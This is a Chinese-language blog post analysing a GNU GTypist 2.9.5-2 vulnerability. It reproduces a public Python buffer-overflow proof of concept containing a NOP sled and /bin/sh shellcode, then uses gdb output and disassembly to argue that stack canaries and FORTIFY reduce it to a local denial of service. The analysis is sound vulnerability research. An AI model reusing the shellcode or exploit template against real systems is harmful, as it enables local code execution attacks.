[元旦快乐]GNU GTypist 2.9.5-2本地拒绝服务漏洞

作者:k0shl 转载请注明出处:https://whereisk0shl.top

今天是2018年的最后一天,按理来说我应该也写点什么,首先还是感谢一直在看我博客文章的小伙伴们,这些文章是过去在学习二进制漏洞过程中的积累,可能分析的有所失误,可能漏洞并不高深,希望大家多多包含,我所积累的漏洞分析报告更新也接近尾声,预计在2019年年初完结,等积累的文章全部发布完成后,可能就不会再定时更新,但会将我目前的一些研究内容和大家分享。

祝愿大家元旦快乐,2019年心想事成,万事如意!


漏洞说明


GNU GTypist是一款Linux下的文本编辑软件,比较尴尬的是在我调试过程中,发现gtypist实际上开启了CNARAY和NX,也就是说,按照PoC给出的Exploit应该是没法利用的,这个应该是一个拒绝服务漏洞,该漏洞是由于当输入的文件路径是一个畸形文件的时候,首先会执行一次strcpy_chk拷贝,这个拷贝过程会因为畸形文件导致程序进入错误处理而退出,下面对此漏洞进行详细分析。

软件下载:
https://www.exploit-db.com/apps/f44d1c8df11fd5a55da033bf5fb1ad6d-gtypist_2.9.5-2_i386.deb

PoC:

import os, subprocess

def run():
  try:
    print "# GNU GTypist - Local Buffer Overflow by Juan Sacco"
    print "# This Exploit has been developed using Exploit Pack -
http://exploitpack.com"
    # NOPSLED + SHELLCODE + EIP

    buffersize = 4098
    nopsled = "\x90"*30
    shellcode =
"\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"
    eip = "\x08\xec\xff\xbf"
    buffer = nopsled * (buffersize-len(shellcode)) + eip
    subprocess.call(["gtypist ",' ', buffer])

  except OSError as e:
    if e.errno == os.errno.ENOENT:
        print "Sorry, GNU GTypist - Not found!"
    else:
        print "Error executing exploit"
    raise

def howtousage():
  print "Snap! Something went wrong"
  sys.exit(-1)

if __name__ == '__main__':
  try:
    print "Exploit GNU GTypist -  Local Overflow Exploit"
    print "Author: Juan Sacco - Exploit Pack"
  except IndexError:
    howtousage()
run()

漏洞分析


首先gdb运行,直接通过run python -c 'print "\x41"*4084'运行,会发现程序中断。

Program received signal SIGABRT, Aborted.
[----------------------------------registers-----------------------------------]
EAX: 0x0 
EBX: 0xb12 
ECX: 0xb12 
EDX: 0x6 
ESI: 0x3e ('>')
EDI: 0xb7f56000 --> 0x1a5da8 
EBP: 0xbfffb6a8 --> 0xb7f0fdd6 ("buffer overflow detected")
ESP: 0xbfffb434 --> 0xbfffb6a8 --> 0xb7f0fdd6 ("buffer overflow detected")
EIP: 0xb7fdebe0 (<__kernel_vsyscall+16>:    pop    ebp)
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0xb7fdebdc <__kernel_vsyscall+12>:   nop
   0xb7fdebdd <__kernel_vsyscall+13>:   nop
   0xb7fdebde <__kernel_vsyscall+14>:   int    0x80
=> 0xb7fdebe0 <__kernel_vsyscall+16>:   pop    ebp
   0xb7fdebe1 <__kernel_vsyscall+17>:   pop    edx
   0xb7fdebe2 <__kernel_vsyscall+18>:   pop    ecx
   0xb7fdebe3 <__kernel_vsyscall+19>:   ret    
   0xb7fdebe4:  int3
[------------------------------------stack-------------------------------------]
0000| 0xbfffb434 --> 0xbfffb6a8 --> 0xb7f0fdd6 ("buffer overflow detected")
0004| 0xbfffb438 --> 0x6 
0008| 0xbfffb43c --> 0xb12 
0012| 0xbfffb440 --> 0xb7dde307 (<__GI_raise+71>:   xchg   ebx,edi)
0016| 0xbfffb444 --> 0xb7f56000 --> 0x1a5da8 
0020| 0xbfffb448 --> 0xbfffb4e4 ("0 00:00 0          [vvar]\nb7fde000-b7fdf000 r-xp 00000000 00:00 0          [vdso]\nb7fdf000-b7ffe000 r-xp 00000000 08:01 9148\003")
0024| 0xbfffb44c --> 0xb7ddf9c3 (<__GI_abort+323>:  mov    edx,DWORD PTR gs:0x8)
0028| 0xbfffb450 --> 0x6 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGABRT
0xb7fdebe0 in __kernel_vsyscall ()

通过bt回溯堆栈调用情况。

gdb-peda$ bt
#0  0xb7fdebe0 in __kernel_vsyscall ()
#1  0xb7dde307 in __GI_raise (sig=sig@entry=0x6)
    at ../nptl/sysdeps/unix/sysv/linux/raise.c:56
#2  0xb7ddf9c3 in __GI_abort () at abort.c:89
#3  0xb7e1c6f8 in __libc_message (do_abort=do_abort@entry=0x2, 
    fmt=fmt@entry=0xb7f0fe55 "*** %s ***: %s terminated\n")
    at ../sysdeps/posix/libc_fatal.c:175
#4  0xb7eaa2d5 in __GI___fortify_fail (
    msg=msg@entry=0xb7f0fdd6 "buffer overflow detected") at fortify_fail.c:31
#5  0xb7ea838a in __GI___chk_fail () at chk_fail.c:28
#6  0xb7ea7877 in __strcpy_chk (dest=0xbfffd42c 'A' <repeats 200 times>..., 
    src=0xbfffe672 'A' <repeats 200 times>..., destlen=<optimized out>)
    at strcpy_chk.c:60
#7  0x0804bf30 in ?? ()
#8  0xb7dc9a63 in __libc_start_main (main=0x8049750, argc=0x2, 
    argv=0xbfffe4f4, init=0x804f330, fini=0x804f3a0, 
    rtld_fini=0xb7fedc90 <_dl_fini>, stack_end=0xbfffe4ec) at libc-start.c:287
#9  0x0804c393 in ?? ()

可以看到Linux调用了abort之后程序退出了,在#7位置处于程序领空,随后调用了strcpy_chk函数,该函数的模型如下。

#include <string.h>

char * __strcpy_chk(char * dest, const char * src, size_t destlen);

实际上这个函数有点像strcpy_s函数,#8是Linux调用main函数的调用,因此跟踪一下0804bf30位置看一下上下文。

.text:0804BF13 loc_804BF13:                            ; CODE XREF: .text:0804A49Dj
.text:0804BF13                 push    esi
.text:0804BF14                 push    1000h
.text:0804BF19                 push    dword ptr [ebx+eax*4]
.text:0804BF1C                 lea     eax, [ebp-101Ch]
.text:0804BF22                 push    eax
.text:0804BF23                 mov     ebx, eax
.text:0804BF25                 mov     [ebp-2D1Ch], eax
.text:0804BF2B                 call    ___strcpy_chk

0804bf2b位置调用了strcpy_chk,在这里下断看一下。

gdb-peda$ b *0x0804bf2b
Breakpoint 1 at 0x804bf2b
gdb-peda$ run `python -c 'print "\x41"*4098'`
Starting program: /usr/bin/gtypist `python -c 'print "\x41"*4098'`
/usr/bin/gtypist: /lib/i386-linux-gnu/libncursesw.so.5: no version information available (required by /usr/bin/gtypist)
/usr/bin/gtypist: /lib/i386-linux-gnu/libncursesw.so.5: no version information available (required by /usr/bin/gtypist)
/usr/bin/gtypist: /lib/i386-linux-gnu/libtinfo.so.5: no version information available (required by /usr/bin/gtypist)
[----------------------------------registers-----------------------------------]
EAX: 0xbfffd42c --> 0x0 
EBX: 0xbfffd42c --> 0x0 
ECX: 0x0 
EDX: 0xb7f5617c --> 0x0 
ESI: 0x0 
EDI: 0xbfffe661 ("/usr/bin/gtypist")
EBP: 0xbfffe448 --> 0x0 
ESP: 0xbfffb700 --> 0xbfffd42c --> 0x0 
EIP: 0x804bf2b (call   0x80495d0 <__strcpy_chk@plt>)
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x804bf22:   push   eax
   0x804bf23:   mov    ebx,eax
   0x804bf25:   mov    DWORD PTR [ebp-0x2d1c],eax
=> 0x804bf2b:   call   0x80495d0 <__strcpy_chk@plt>
   0x804bf30:   mov    eax,ebx
   0x804bf32:   call   0x804c5a0
   0x804bf37:   add    esp,0x10
   0x804bf3a:   test   eax,eax
Guessed arguments:
arg[0]: 0xbfffd42c --> 0x0 
arg[1]: 0xbfffe672 ('A' <repeats 200 times>...)
arg[2]: 0x1000 
arg[3]: 0x0 
[------------------------------------stack-------------------------------------]
0000| 0xbfffb700 --> 0xbfffd42c --> 0x0 
0004| 0xbfffb704 --> 0xbfffe672 ('A' <repeats 200 times>...)
0008| 0xbfffb708 --> 0x1000 
0012| 0xbfffb70c --> 0x0 
0016| 0xbfffb710 --> 0x0 
0020| 0xbfffb714 --> 0x0 
0024| 0xbfffb718 --> 0x0 
0028| 0xbfffb71c --> 0x0 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 1, 0x0804bf2b in ?? ()

这里拷贝目标地址是bfffd42c,拷贝内容是畸形字符串,拷贝长度是0x1000,也就是畸形字符串长度,这个地方会导致bfffd42c栈溢出,会进入错误处理,那么这个函数的作用是什么呢?

.text:0804BF2B                 call    ___strcpy_chk
.text:0804BF30                 mov     eax, ebx
.text:0804BF32                 call    sub_804C5A0

在执行结束后sub_804c5a0函数被调用,这个函数主要的功能就是处理strcpy之后dest目标地址存放的路径的内容。

.text:0804C5A0 sub_804C5A0     proc near               ; CODE XREF: .text:0804A4D4p
.text:0804C5A0                                         ; .text:0804BF32p ...
.text:0804C5A0                 push    esi
.text:0804C5A1                 push    ebx
.text:0804C5A2                 mov     esi, eax
.text:0804C5A4                 sub     esp, 0Ch
.text:0804C5A7                 push    (offset aInvalidFunctio+1Ah) ; modes
.text:0804C5AC                 push    eax             ; filename
.text:0804C5AD                 call    _fopen
.text:0804C5B2                 add     esp, 10h
.text:0804C5B5                 test    eax, eax
.text:0804C5B7                 mov     ebx, eax
.text:0804C5B9                 jz      short loc_804C5CC
.text:0804C5BB                 sub     esp, 0Ch
.text:0804C5BE                 push    esi

但是strcpychk的存在导致不通过,程序进入abort处理,但是通过checksec可以看到这个程序启用了较多防护机制,实际上poc中的代码是执行不了的。

gdb-peda$ checksec
CANARY    : ENABLED
FORTIFY   : ENABLED
NX        : ENABLED
PIE       : disabled
RELRO     : Partial

因此程序需要在strcpy之前对传入字符串做一个长度截断或者长度检查可以防止这个拒绝服务漏洞。

Comments
Write a Comment